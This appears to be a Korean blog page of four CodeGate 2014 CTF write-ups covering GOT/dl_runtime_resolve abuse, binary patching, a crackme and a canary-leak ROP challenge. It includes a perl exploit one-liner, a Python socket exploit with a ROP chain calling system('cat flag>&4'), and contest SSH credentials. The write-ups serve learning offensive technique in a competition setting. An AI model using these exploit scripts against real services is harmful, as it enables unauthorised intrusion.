'과거의 컴퓨터 공부/CodeGate2014'에 해당하는 글 4건

반응형

*풀다가 노트북을 맥북으로 바꾸는 바람에 중간에 터미널모양이 약간 바뀌엇다 양해바람..  

GOT, PLT ,_dl_runtime_resolve가 어떤식으로 맞물려있는지 알게해준 굉장히 고마운 문제다.. 

ctf풀기 시작하면서 정말 많이 배우는것 같다..

#다른사람들이랑 환경이 달라서그런가.. 바이너리에서 더해주는 값이 다르다.. 

 

□ description

==========================================

ssh guest@58.229.183.15 / ExtremelyDangerousGuest

ssh guest@58.229.183.14 / ExtremelyDangerousGuest



==========================================


 □ number of solvers : 32

 □ breakthrough by

    1 : CodeRed (02/22 10:40)

    2 : euronop (02/22 11:37)

    3 : stratumauhuur (02/23 02:00)







# memory가 랜덤이지만, 로컬에서 익스플로잇 하는 문제이기 떄문에 ulimit -s unlimited 명령을 이용해 메모리 랜덤을 비활성화 해주고 진행하였다.


컴퓨터랑 4목을 두는 게임이다(근데 재미없음 ..) 



+)우왕 ㅋ 이김ㅋ (이기는 방법알아내는게 생각보다 좀 오래걸렷다 ...)



졋을때와 이겻을때의 output값


이겻을떄 몇초가 걸렷는지 output 값으로 내보내주는데, 이 부분에 뭔가 있을것 같아 IDA로 이부분을 찾아서 

Hex-ray로 디컴파일을 해보았다

[Decompile]



게임에서 0초 이내에 이기면,4byte의 값을 임의의 주소에 입력받는다는 것을 알 수 있다.


근데 밑의 부분에 


 HIWORD(v2) = HIWORD(argv1);

 LOWORD(v2) = 0;

 if ( v2 != 0x8040000 )                  // stack

        {

          if ( (argv1 & 0xF0000000) != 0xB0000000 )

            *(_DWORD *)argv1 = v3;



4byte 입력 받는 값이 stack의 주소를 갖지않고(stack의 주소라는 것은 아래의 그림을 통해 확인 할 수있

다,0x8040000),0xB0000000(바이너리) 의 주소를 갖지 않는다면, 

입력받은 값이 첫번쨰 인자의 값이 된다(4byte)


뿐만아니라, 이문제는 프로그램의 마지막 부분에서 처음으로 exit()함수를 사용한다. 

즉, 우리가 dl_runtime_resolve부분을 조작할 수  있다는 것을 의미한다.

그러면  exit()을 한번 따라 들어가보도록 하자 

[exit@plt 를 처음으로 호출하는 부분 ]



[exit@plt]



[exit@got]:  exit()가 _dl_runtime_resolve에 의해서 got상에 올라가기 전 상태,

~ exit@plt 부분에서 got호출 하는 주소의 바로다음 주소를 가르킨다.


+)반대로 got상에  exit()이 올라간 상태 



[exit@plt+11 에서 jmp한 부분] 

 objdump로 분석해본 결과 이부분의 심볼을 확인할 수 있엇는데 printf@plt-0x10 이라고 적혀있다.. 

이부분이 무슨기능을 하는지는 추후에 좀더 알아보고 추가하도록 하겟다.


+)plt 에서 _dl_runtime_resolve로 넘어가기전에 exit@plt -> .plt 영역 -> dl_runtime_resolve



[_dl_runtime_resolve]400139b0




[_dl_fixup] 0x4000db40 ~ 0x4000dc61




[_dl_fixup_  에서 반환 값을 결정해주는 부분]


eax :40082000


gdb-peda$ x/x $edi+0x4

0x4008e828: 0x00016d60

즉,  eax의 값 (0x40081000)에 [edi+0x4]의 값이 더해져서 반환값으로 사용된다.

따라서 0x40081000를 덮어씌우고, 0x00016d60을 더한곳으로 eip를 변조할 수 있음을 알아내었다.

랜덤스택으로인해서 그냥 환경변수를 때려넣어주게 되면 맞추기 힘들다 .. 

그래서 http://blackcon.tistory.com/90 를 참고해서 spraying 기법으로 환경변수를 뿌려서 이용해 보려 한다.




그러면 이제 분석을 모두 마쳣으니 본격적으로 쉘을 따보자





[payload]

[4목 이기는 로직 ] [환경변수 주소 ] ;cat| ./4stone  [rwx영역의 주소]

0x40081000 

 

(perl -e 'print "\xd","hh","\xd","h","\xd","\xd","hhhh","\xd","h","\xd","hhh","\xd","hh","\xdbf743089"';cat)|./4stone 40081000







+)32bit의 elf fileformat 이다

처음 파일 실행할때 64 bit 환경에서 실행을 했엇는데, 64bit 에서 gcc-multilib 없이 32 비트 프로그램을 실행시키면 그런파일이 없다고 뜬다..multilib 를 설치해주던가 32 bit 환경에서 실행하도록하자





반응형
,
반응형


 □ description

==========================================

Limited processes will be generated. 

Which one has the flag?


http://58.229.183.26/files/clone_technique.exe_b9b0870fb1b877cecf5ea2ae615e12eb

==========================================


 □ number of solvers : 71

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 02:29)

    2 : sonic (02/23 02:30)

    3 : spamandhexlite (02/23 02:47)





clone_technique.exe

Process Explorer로 확인해본결과 프로세스가 마구마구 생성된다. 근데 흰트에, 제한된 프로세스안에서 어떤 한 부분이 플래그를 갖고 있다하여서, 이부분에 초점을 맞추고 분석을 시작했다. 

그러다가 디컴파일하면서 함수들을 내려가는 도중에, 

40116F부분에서 (정확히 말하면 401169 부분과 40116F부분에서) 인위적으로 ESP를 더하고 뺌으로써,디컴파일이 되지 않는 부분이 존재했다. NOP 로 해당부분을 패치해주고 다시 디컴파일을 한 결과,

아래처럼 디컴파일이 되었고, 인위적으로 이 함수만 디컴파일이 되지않게 해논 부분이어서, 이부분에 무언가 있을것 같아 집중적으로 분석을 시작했고,  

memset((void *)sub_401070(&unk_407030, Buffer, v7), 0, 0x1Cu); 이부분을 찾아냈다. 

memset((void *)sub_401070(&unk_407030, Buffer, v7), 0, 0x1Cu); 

407030부분에서 1C(decimal:28byte) byte는 ollydbg에서 이부분에 하드웨어 브레이크를 걸고 확인을 하였고,(아래에 첨부한 그림에서 하이라이트한 부분)



IDA에서 401070함수 부분을 디컴파일하여, 복호화 루틴을 알아내었다

복호화 루틴을 알아내서..코드로 짜서 flag값을 알아내려했는데

좀더 분석해보니 다른 부분에서도 필요한 부분을 가져오고 해야해서 

messagebox()를 call 하여 flag 를 뱉어내게 하는방식으로 문제를 접근하기로 하였다. 

(복호화 코드를 짜서 풀은 사람도 많던데 검색해보면 한국인들이 writeup을써논것들 대부분이 그런식이여서 쉽게 찾아볼 수있다) 

그래서 401070 주소부분(어차피 이부분이 복호화 부분이니까)에서 맨밑으로 내리다보면 에필로그가 존재하는데,

이에필로그아래부터 적당한 크기의 int 3이 존재하여, 

(원래는 다른 적당한공간을 패치시켜서 점프시키려하였으나 에필로그 아래의 int 3 공간크기와 딱맞았다) 

이부분을 parameter와 messagebox()로 patch 시켜주었다.

패치한 방법은 아래와 같다. 어셈블 설명하는 포스팅도 아니고 하니 따로 설명은 하지 않겠다.

이부분을 패치해주면 각 프로세스마다 복호화를 진행하면서 각 프로세스마다의 값이 messagebox로 출력되게 된다.(패치해준뒤 새로운 .exe파일로 생성해주고 프로그램을 실행해주었다(디버거에서 실행한거아님))

그래서 겁나 엔터를 눌러주다보면.. 



의미있는 값을 가지는게 하나 나오는데 이것이 당시 대회때의 flag이다. 

아래의 파일은 내가 패치시켜 놓은 파일이다. 나중에 내가쓸거같아서 첨부해놈 .. 


clone_techniquepatch.exe



반응형
,
반응형


crackme_d079a0af0b01789c01d5755c885da4f6

 

□ description

==========================================

http://58.229.183.26/files/crackme_d079a0af0b01789c01d5755c885da4f6

==========================================


 □ number of solvers : 206

 □ breakthrough by

    1 : Hardc0de (02/22 09:14)

    2 : spamandhexlite (02/22 09:19)

    3 : bamb00 (02/22 09:23)




[실행 화면]

위의 첨부한 그림처럼 파일을 실행시키면, 키값을 물어보고 틀린값을 넣으면 permission denied가 뜬다.

키값을 찾는 문제라는 것을 유추할 수 있다.


64bit 의 elf fileformat 이여서, IDA로 리눅스 환경에 리모트 디버깅을 하여 문제풀이를 진행하였다.

문제자체는 생각보다 별로 어렵지 않앗다. 


 RBP를 기준으로 자꾸 뭔가하는 것을 알 수 있었다. 

그래서 RBP를 기준으로 한번 따라가보기로 하였다.(의외로 바로 답이나와버렷당 ㅎ_ㅎ) 



rbp 값을 기준으로 해서 값을 1 byte 1byte씩 읽어온다는 것을 확인할 수 있었다. 

위의 문자열은 대회 당시의 키값이다 




+) 자꾸 이런게 뜨길래 찾아봣는데 설명이 잘되있는게 있어서 아래에 첨부해둔다 (


Starting program: /root/pwn/codegatedodocrackme/c 

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fffb8ff5000


http://stackoverflow.com/questions/10505102/what-is-system-supplied-dso-that-gdb-references/10506452#10506452

http://www.trilithium.com/johan/2005/08/linux-gate/




반응형
,
반응형

사용한 기법 : memory leak + ROP 


angry_doraemon_c927b1681064f78612ce78f6b93c14d9


문제 자체는 처음 시스템 공부하기 시작할떄쯤 나 가르쳐줫던 애가 당시 대회떄 문제를 풀어서 얼핏 봣던 문제다.


 CTF 공부겸 ,, rop 이해햇는데 memory leak 기법이 이해가 안됫는데 이 문제 덕분에 memory leak이라는게 어느정도 와닿게 되었다.


 □ description

==========================================

OS : Ubuntu 13.10 x86

IP : 58.229.183.18 / TCP 8888


http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9

==========================================


 □ number of solvers : 57

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 06:16)

    2 : ppp (02/23 06:22)

    3 : stratumauhuur (02/23 06:28)




RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE

Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   angry_doraemon_c927b1681064f78612ce78f6b93c14d9

root@symnoisy:~/pwn# file angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

angry_doraemon_c927b1681064f78612ce78f6b93c14d9: setuid setgid sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf16e3852cdf494e0376d99e56343aa55830a9d95, stripped


NX와 Canary가 걸려있는 것을 알 수 있다.. 다행이 PIE 는 걸려 있지 않다 

(아직 PIE 우회하는법 연구하고있는데 ... 힘들다)



[leak canary]


read 부분에서 buf가 4byte 인데, 110 byte를 입력받음 으로써 오버플로우가 발생하는 것을 알 수 있다.

하지만, 해당 파일에 카나리(SSP)가 걸려있어서 카나리 부터 알아내야 하는데,

소켓 프로그램이고, 항상 fork()로 실행하기 때문에, canary 값이 고정이다. 

또한, buf 부분과 , canary 부분 사이의 거리가 A (decimal : 10 byte, disatance : int buf ~ int v8) 이므로

buf [10byte]  | canary | 8byte | SFP | RET 

이런식으로 진행이된다. 카나리의 정보는 

v1 = sprintf(s, "You choose '%s'!\n", &buf); 

아래의 함수를 통해 memory leak을 일으켜 값을 불러올 수 있다. 

프로그램을 잘못받아서 실행이 안되나 햇는데.. 알고보니까 프로그램안에서 사용하는 txt 파일들을 따로 만들어 줘야한다 .. 아놔 ;; ;이거몰라서 오늘 하루종일 삽질햇다 

[code]

[result]

메모리릭 때문에 풀엇던 문제인데 우선 목표는 달성했다. 

(카나리값이 계속해서 바뀌는데 왠지모르겟당) 


[프로세스위의 write주소 leak + system 주소 구하기 ]

[source]


[result]


root@symnoisy:~/pwn# ldd angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

linux-gate.so.1 =>  (0xb7758000)

libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75d6000)

/lib/ld-linux.so.2 (0xb775a000)

[exploit]

[code] // 코드가 길어서 하나에 안들어가서 걍 코드로 첨부함 

from socket import *

from struct import *

import time


s=socket(AF_INET,SOCK_STREAM)

s.connect(('localhost',8888))


read_plt =0x8048620 #read@plt

write_plt=0x80486e0 #write@plt

write_got=0x804b030 #write@got

pppr=0x8048ea6 #objdump -d angrydoraemon

bss=0x804b080 #objudmp -h angrydoraemon


system_addr=0xb7680730 


canary = 0xdbf62b00

cmd ="cat flag>&4\x00"


payload =""

payload +="y"*10

payload +=pack("<L",canary)

payload +="a"*8

payload += pack("<L",read_plt)

payload += pack("<L",4)

payload += pack("<L",bss)

payload += pack("<L",len(cmd))


payload += pack("<L",system_addr)

payload += pack("<L",0xdeadbeef)

payload += pack("<L",bss)

print "[+]Hacked by symnoisy!"

s.send(payload)

s.send(cmd)

print s.recv(1024)


반응형
,